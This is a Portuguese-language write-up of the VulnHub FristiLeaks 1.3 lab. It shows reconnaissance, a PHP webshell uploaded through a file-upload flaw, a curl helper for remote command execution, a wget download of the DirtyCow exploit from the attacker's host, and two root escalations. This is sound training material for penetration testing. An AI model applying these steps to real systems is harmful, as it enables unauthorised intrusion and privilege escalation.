WriteUp FristiLeaks 1.3

A FristLeaks 1.3 é uma Virtual Machine mapeada no VulnHub, faz parte das máquinas do vulnhub quais são OSCP like. Durante a execução dos testes na box, foram identificadas duas formas de realizar a escalação de privilégios. Segue writeup!

Machine Name: FristiLeaks 1.3
Resource: https://www.vulnhub.com/entry/fristileaks-13,133/
Descrição: A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..

Reconhecimento

Foi identificado que o alvo se encontra no endereço IPv4 local 172.16.0.106.
Na etapa de reconhecimento, a partir do programa nmap, foi identificado que a box possui apenas um serviço exposto na porta 80/TCP.

Starting Nmap 7.60 ( https://nmap.org ) at 2019-12-21 10:58 -02
Nmap scan report for 172.16.0.106
Host is up (0.0047s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
| http-methods: 
|_  Potentially risky methods: TRACE
| http-robots.txt: 3 disallowed entries 
|_/cola /sisi /beer
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:A5:A6:76 (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.84 seconds

Se trata de uma aplicação web(HTTP) sendo servida pelo serviço httpd 2.2.15. Outras informações do output do nmap indicam que o alvo possui o sistema operacional CentOS e também indica a versão do PHP/5.3.3 e a aplicação DAV/2.

index.html de aplicação web.

O nmap identificou através do script NSE http-robots.txt o arquivo robots.txt que possui três entradas, sendo elas /cola /sisi /beer. Durante a execução dos testes foi identificado o diretório http://172.16.0.106/fristi/ com base no nome da box.

Uma analise no código fonte na URL http://172.16.0.101/fristi/index.php, revelou um nome de usuário eezeepz.

Comentário em /fristi/index.php expõe nome de usuário.

A analise no código fonte também identificou um segundo comentário, onde o código de uma imagem em base64 está comentado.

Imagem em base64 comentada no código fonte de /fristi/index.php

Utilizando o Inspect Element foi possível alterar a imagem que é exibida pela imagem comentada, revelando a senha do usuário eezeepz.

Credenciais de usuário eezeepz escondida em imagem comentada.]

As credenciais de acesso à console foram validadas na funcionalidade de login da aplicação.

Username: eezeepz
Password: keKkeKKeKKeKkEkkEk

Uma vez que o login é realizado, o usuário é redirecionado para a página http://172.16.0.101/fristi/login_success.php, onde existe uma feature de upload de arquivos http://172.16.0.101/fristi/upload.php.

Testes identificaram que é possível realizar upload arbitrário de arquivos nessa feature. A falha foi explorada e permitiu o upload de uma webshell em PHP na aplicação.

Upload de arquivos atráves do BurpSuite.

O arquivo malicioso que foi submetido para a aplicação permitiu a execução de código arbitrário por parte do invasor.

Execução de código através de webshell submetida em formulário de upload.

Um teste de ping disparado a partir da webshell para a máquina do invasor identificou que as configurações de rede não estão restringindo acessos partindo do sistema alvo para outros hosts da rede.

Ping test

A partir da execução de código através da webshell submetida na aplicação, foi possível obter uma shell reversa, permitindo acesso a shell do sistema alvo com o usuário uid=48(apache) gid=48(apache) groups=48(apache).

Uma função no bash foi escrita para automatizar a execução de código remoto através da webshell submetida contra a plataforma.

$ cat load_me
function exec_code(){
URL=$(echo "http://172.16.0.106/fristi/uploads/avatar.php.png?cmd=$@" | sed 's/ /%20/g')
curl -s $URL
}
. load_me

Uma shell reversa escrita em python foi preparada e submetida para o alvo através da webshell.

Shell reversa em python.

A shell reversa em python foi executada através da webshell em php e obteve exito ao conectar no sistema do invasor, permitindo acesso ao sistema do alvo.

O acesso ao sistema alvo foi obtido com uma shell reversa com privilégios do usuário apache(id 48).

Escalação de privilégios.

Durante a etapa de escalação de privilégios a partir do usuário apache(id 48), um reconhecimento foi realizado contra o sistema alvo, onde foi possível identificar a versão do kernel, sendo ela 2.6.32-573.8.1.el6.x86_64

bash-4.1$ uname -a
uname -a
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

A ferramenta Linux Exploit Suggester(https://github.com/mzet-/linux-exploit-suggester) foi utilizada no sistema alvo para enumerar possíveis exploits que permitissem a exploração de uma falha que levasse a escalação de privilégios.


bash-4.1$ bash linux-exploit-suggester.sh                      
bash linux-exploit-suggester.sh

Available information:

Kernel version: 2.6.32
Architecture: x86_64
Distribution: RHEL
Distribution version: N/A
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS

Searching among:

72 kernel space exploits
42 user space exploits

Possible Exploits:

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: probable
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.04|12.04
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Exposure: probable
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847.cpp
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

Saida omitida.

O exploit adotado para a escalação de privilégios foi https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679, o exploit utiliza a vulnerabilidade CVE-2016-5195 conhecida também como DirtCow(https://dirtycow.ninja). Essa falha se categoriza como ‘Race Condition’, se encontra na forma como o subsistema de memória do kernel linux lida com o copy-on-write(COW), onde a falha no processo ded mapeamento de memória permite assumir um processo.(https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails).

O exploit citado anteriormente foi armazenado localmente no sistema do atacante(172.16.0.24) e disponibilizado atraves de um serviço HTTP na porta 8000/TCP, permitindo o download no sistema alvo.

bash-4.1$ wget 172.16.0.24:8000/c0w.c
wget 172.16.0.24:8000/c0w.c
--2019-12-21 11:59:33--  http://172.16.0.24:8000/c0w.c
Connecting to 172.16.0.24:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4368 (4.3K) [text/plain]
Saving to: `c0w.c'

100%[======================================>] 4,368       --.-K/s   in 0s      

2019-12-21 11:59:33 (26.2 MB/s) - `c0w.c' saved [4368/4368]

Posteriormente o download do código fonte do exploit que está escrito em C, foi utilizado o compilador GCC para compilar o código fonte e então foi executado, permitindo ao atacante obter acesso root(id 0) no sistema alvo.

bash-4.1$ gcc -pthread c0w.c  -o c0w
gcc -pthread c0w.c  -o c0w
bash-4.1$ ./c0w 
./c0w
                                
   (___)                                   
   (o o)_____/                             
    @@ `     \                            
     \ ____, //usr/bin/passwd                          
     //    //                              
    ^^    ^^                               
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap 29cd9000

madvise 0
ptrace 0
bash-4.1$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-4.1$ /usr/bin/passwd 
/usr/bin/passwd 
[root@localhost uploads]# id
id
uid=0(root) gid=48(apache) groups=48(apache)

No diretório /root foi localizado o arquivo fristileaks_secrets.txt, finalizando o desafio.


[root@localhost root]# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1

Escalação de privilégios, part 2

Um processo de exploração de privilégios alternativo foi identificado posteriormente a leitura de algumas write-ups. Esse novo processo de escalação de privilégios não necessita de um exploit.

No arquivo checklogin.php é possível identificar a credencial do banco de dados em texto claro.

$ exec_code cat ../checklogin.php
<?php

ob_start();
$host="localhost"; // Host name
$username="eezeepz"; // Mysql username
$password="4ll3maal12#"; // Mysql password
$db_name="hackmenow"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
$mypassword = mysql_real_escape_string($mypassword);

$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);

// If result matched $myusername and $mypassword, table row must be 1 row

if($count==1){

// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername");
session_register("mypassword");
header("location:login_success.php");
}
else {
echo "Wrong Username or Password";
}

ob_end_flush();
?>

Foi possível então acessar o banco de dados e realizar consultas. A tabela members possui credenciais de usuários em texto claro.

bash-4.1$ echo "select * from members;" |/usr/bin/mysql -u eezeepz -p'4ll3maal12#' hackmenow
#' hackmenow * from members;" |/usr/bin/mysql -u eezeepz -p'4ll3maal12 
id	username	password
1	eezeepz	keKkeKKeKKeKkEkkEk

No arquivo notes.txt foi identificado uma rotina. A rotina executa periodicamente o conteúdo do arquivo localizado em /tmp de nome runthis e o resultado seria armazenado em /tmp/cronresult

Arquivo notes.txt

Contudo, apenas os binários chmod, df, cat, echo, ps, grep, egrep localizados em /home/admin/ podem ser utilizados através dessa funcionalidade. Posteriormente a execução de alguns testes foi identificado que os comandos são executados com os privilégios do usuário admin(id 501), não root(id 0).

O comando chmod foi utilizado para alterar a permissão do diretório /home/admin e arquivos dentro do diretório:

echo '/home/admin/chmod 777 /home/admin -R' > /tmp/runthis

O resultado em /tmp/cronresult exibe que o comando foi executado com sucesso.

bash-4.1$  cat /tmp/cronresult
 cat /tmp/cronresult
executing: /home/admin/chmod 777 /home/admin -R

Uma verificação confirmou que o diretório está com as novas permissões:

bash-4.1$ ls -ld /home/admin
ls -ld /home/admin
drwxrwxrwx. 2 admin admin 4096 Nov 19  2015 /home/admin

Sendo possível que o usuário apache entre no diretório /home/admin e tenha acesso aos arquivos e binários.

bash-4.1$ cd /home/admin
cd /home/admin
bash-4.1$ ls -l
ls -l
total 632
-rwxrwxrwx 1 admin     admin      45224 Nov 18  2015 cat
-rwxrwxrwx 1 admin     admin      48712 Nov 18  2015 chmod
-rwxrwxrwx 1 admin     admin        737 Nov 18  2015 cronjob.py
-rwxrwxrwx 1 admin     admin         21 Nov 18  2015 cryptedpass.txt
-rwxrwxrwx 1 admin     admin        258 Nov 18  2015 cryptpass.py
-rwxrwxrwx 1 admin     admin      90544 Nov 18  2015 df
-rwxrwxrwx 1 admin     admin      24136 Nov 18  2015 echo
-rwxrwxrwx 1 admin     admin     163600 Nov 18  2015 egrep
-rwxrwxrwx 1 admin     admin     163600 Nov 18  2015 grep
-rwxrwxrwx 1 admin     admin      85304 Nov 18  2015 ps
-rw-r--r-- 1 fristigod fristigod     25 Nov 19  2015 whoisyourgodnow.txt

O arquivo /home/admin/whoisyourgodnow.txt expõe uma string encodada em base64 e revertida.

bash-4.1$ cat /home/admin/whoisyourgodnow.txt
cat whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG

O Arquivo /home/admin/cryptedpass.txt exibe uma especie de string criptografada.

bash-4.1$ cat /home/admin/cryptedpass.txt
cat cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq

O script em python /home/admin/cryptpass.py exibe o código utilizado para gerar a senha:

bash-4.1$ cat cryptpass.py
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

O programa em python /home/admin/cryptpass.py foi copiado para a máquina do atacante onde teve suas funções revertidas para que a senha fosse revertida para texto claro.

:~/Documents/CTF/vulnhub/FristiLeaks/data$ cat cryptpass.py
#!/usr/bin/python
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

def decodeString(str):
    plain = codecs.decode(str[::-1], 'rot13')
    return base64.b64decode(plain)

#cryptoResult=encodeString(sys.argv[1])
#print cryptoResult

plainResult=decodeString(sys.argv[1])
print plainResult

O programa adulterado conseguiu reverter com sucesso a senha que foi localizada no arquivo /home/admin/whoisyourgodnow.txt. A senha do usuário fristigod foi identificada como “LetThereBeFristi!“.

decode de password

Com as credenciais do usuário fristigod foi possível lateralizar através do comando su e obter acesso com o usuário fristigod(id 502)

Acesso com usuário fristigod

Analisando o arquivo /var/fristigod/.bash_history do usuário fristigod, foi identificado que existe uma função em /var/fristigod/.secret_admin_stuff/doCom

bash-4.1$ cat /var/fristigod/.bash_history
cat /var/fristigod/.bash_history
ls
pwd
ls -lah
cd .secret_admin_stuff/
ls
./doCom 
./doCom test
sudo ls
exit
cd .secret_admin_stuff/
ls
./doCom 
sudo -u fristi ./doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom ls /
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
sudo /var/fristigod/.secret_admin_stuff/doCom
exit
sudo /var/fristigod/.secret_admin_stuff/doCom
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
groups
ls -lah
usermod -G fristigod fristi
exit
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
less /var/log/secure e
Fexit
exit
exit

A investigação no programa /var/fristigod/.secret_admin_stuff/doCom identificou que o mesmo permite a execução de um comando com privilégios de root.

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom
[sudo] password for fristigod: LetThereBeFristi!

Usage: ./program_name terminal_command ...

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id 
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id 
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Então foi possivel iniciar uma nova shell com privilégios de root(id 0) a partir do programa /var/fristigod/.secret_admin_stuff/doCom

bash-4.1$ sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash
bash-4.1# id
id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

No diretório /root foi possível ler a flag fristileaks_secrets.txt, finalizando a box.

Visualização de arquivo flag.

Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.